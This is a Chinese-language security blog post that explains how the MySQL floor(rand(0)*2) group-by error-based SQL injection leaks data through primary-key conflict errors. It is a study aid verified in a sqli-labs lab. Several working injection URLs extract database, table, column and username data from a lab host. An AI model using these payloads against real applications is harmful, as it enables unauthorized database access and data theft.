本文原创作者:RJ45
最近在重新整理复现MYSQL注入天书,遇到了一条很有意思的报错注入的payload:
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
记录一下,对这个payload的逆向理解。
在mysql中,无论是主键还是外键都有约束的设置,其属性有两个:非空性和唯一性,也即我们常说的非空唯一。唯一性表现为 在插入一条数据时,如果数据中的主键与表中某条数据的主键相同,则插入不成功,同时mysql会返回错误的信息。在对错误信息的处理和返回过程中,mysql的底层代码实现将插入不成功的那条数据对应的主键返回到了错误信息里面,由此产生了一个安全性的问题----暴露出了表中已存在的那条数据的主键。
如何利用约束造成的错误带来的泄露问题?一个本质问题是:
我们能控制什么?我们能控制暴露出存在主键约束的表的已知数据的主键。(通过输入点,也就是构造与已知数据主键相同的数据插入,从而报错暴露出主键) 我们要获得什么?从控制点的形式来看(一个数据显示点),我们要获得的只能是数据库中的数据信息。
怎么样才能通过我们能控制的来获取我们要获得的?一个方法是子查询控制主键位置。子查询是指一个查询语句嵌套在另一个查询语句内部的查询。
在执行查询语句的时候,首先会执行子查询中的语句,然后将返回的结果作为外层查询的过滤条件。
我们期望,子查询语句为我们想要获取的信息的sql语句,外层sql语句存在含有主键唯一性的表,接着设置子查询语句于主键字段位置,构造主键唯一性冲突,将报错信息回显出来。
要做到这一步,需要解决两个问题:
1 在实际的攻击中,表的主键字段是未知的,获取主键字段将是一个难以解决的问题。2 如何设置子查询语句与主键字段之间产生唯一性冲突并且将数据泄露出来,也是一个需要解决的问题。
验证失败:
解决第一个问题的思路在于:
既然实表中主键字段存在未知可能,那么建立一个可以控制主键的虚表如何。
mysql中的虚拟表分为临时表、内存表和视图。内存表和视图显然不适合此种情景。
而临时表的建立有两种方式,一是以实表命名为tmp等,然后在使用完后手动删除。另一种是以聚合函数和group+by的方式建立临时表。
在mysql的中文文档中有这么一句话:
由此,通过集合函数和group+by建立一个可以控制主键的虚表,成为可能:
可以看到,下面的sql语句在表 Rj45
的数据条数的基础上,利用count()函数和group by建立了一张主键为 database()
的虚表
由于 Rj45
表,不具有普遍性,参考mysql的基本库,修改为基本库中的表
mysql.user、information_schema.schemata、information_schema.tables和information_schema.columns
第二个问题:如何设置子查询语句与主键字段之间产生唯一性冲突。
主键字段现在我们已经可以控制,需要构造唯一性冲突错误,那么就需要在虚表的建立过程中主键字段存在不一样的数值,并且在基于基本库中的表的数据条数不少于3条,如此在第三次查询建立虚表数据的过程中才会保证主键唯一性冲突的可能。
故,第一:在mysql.user、information_schema.schemata、information_schema.tables和information_schema.columns中,根据数据条目的多少和普遍程度,冲突的可能性越来越大。(难说有没有存在一个mysql中只有一个库、一个表的存在的情况,不过一个字段就绝对不会出现) 保险起见,最好以information_schema.columns为基础,建立虚表。
第二:如何使得虚表在建立的过程中,主键字段存在不一样的数值。
一个想法是利用mysql的随机函数rand(),该函数会在0和1之间随机产生数据
在随机函数的基础上添加rand()*2,然后结合floor()函数,该函数的作用是在数据中返回整数部分,就可以构造出随机的0和1两组数据
在验证过程中,发现虽然达到了预期的结果,可是报错存在不确定性(一会报错,一会正常),并且报错的主键数据值也不稳定(一会为0,一会为1)。
添加随机因子,保证唯一性冲突报错的稳定性
在虚表建立的过程中产生的主键唯一性冲突报错的理解:
select count(*),floor(rand(0)*2)x from information_schema.columns group by x;
这条payload在以informationschema.columns为基础建立虚表的过程中,由于informationschema.columns 表存在大量数据条目,故count(*)函数需要进行多次顺序的查询,然后以此作为虚表中的字段数据。虚表中主键字段为x即floor(rand(0)*2),其在多次查询过程中,会产生0或者1,并且依照固定的顺序产生。
由此,在虚表建立的过程中:当产生主键数据值为0的时候,count(*)为1, 当产生主键数据值为1的时候,count(*)为1, 当产生主键数据值为1的时候,虚表中已经存在为1的主键数据值,此时发生主键唯一性冲突,进而产生报错。
虚表已经建立,主键已经冲突,那么如何将数据通过主键位置泄露出来?
要想通过主键位置泄露数据,那么必须将目标sql语句嵌套到主键floor(rand(0)*2)中,或者说由于查询的过程中目标sql执行的都是相同的结果,不同的只在于主键数据值的区别,直接将目标sql与主键通过concat()函数连接,一起成为新主键,也可以达到利用效果。
select count(*),concat(database(),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;
sqli-labs实战环境验证:
获取当前数据库
http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select database()),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+
获取当前数据库
获取所有数据库
http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select schema_name from information_schema.schemata limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+
获取数据表
获取数据表
http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+
获取数据表
获取数据字段
http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+
获取数据字段
获取数据
http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select username from security.users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+
获取数据
8、除了唯一性,非空性可以吗
非空环境:
非空性限制不存在利用空间
select count(*),concat((select database()),0x3a,floor(rand(0)*2)) x from information_schema.columns group by x;
该payload的本质其实是mysql在处理这类错误的时候,将主键键冲突的那个主键,报错抛出到错误信息中,从而使得我们可以通过floor(rand(0)*2)这个手段,结合information_schema.columns表,将目标信息通过主键位置泄露出来。
那么,是否存在其他同性质的问题即在错误信息中包含有信息泄露?
答案是有的!可以看到,当我尝试访问一个数据库中不存在的表的时候,其发生了报错,将当前库抛出到错误信息中,从而造成同样性质的问题的出现。
其利用与前面论证过的过程相同
我觉得,应该值得研究。这个漏洞与pwn中的格式化字符串漏洞类似。https://www.mysqlzh.com/
https://blog.csdn.net/u012364631/article/details/79408204 https://bugs.mysql.com/bug.php?id=82544 http://www.anquan.us/static/drops/tips-14312.html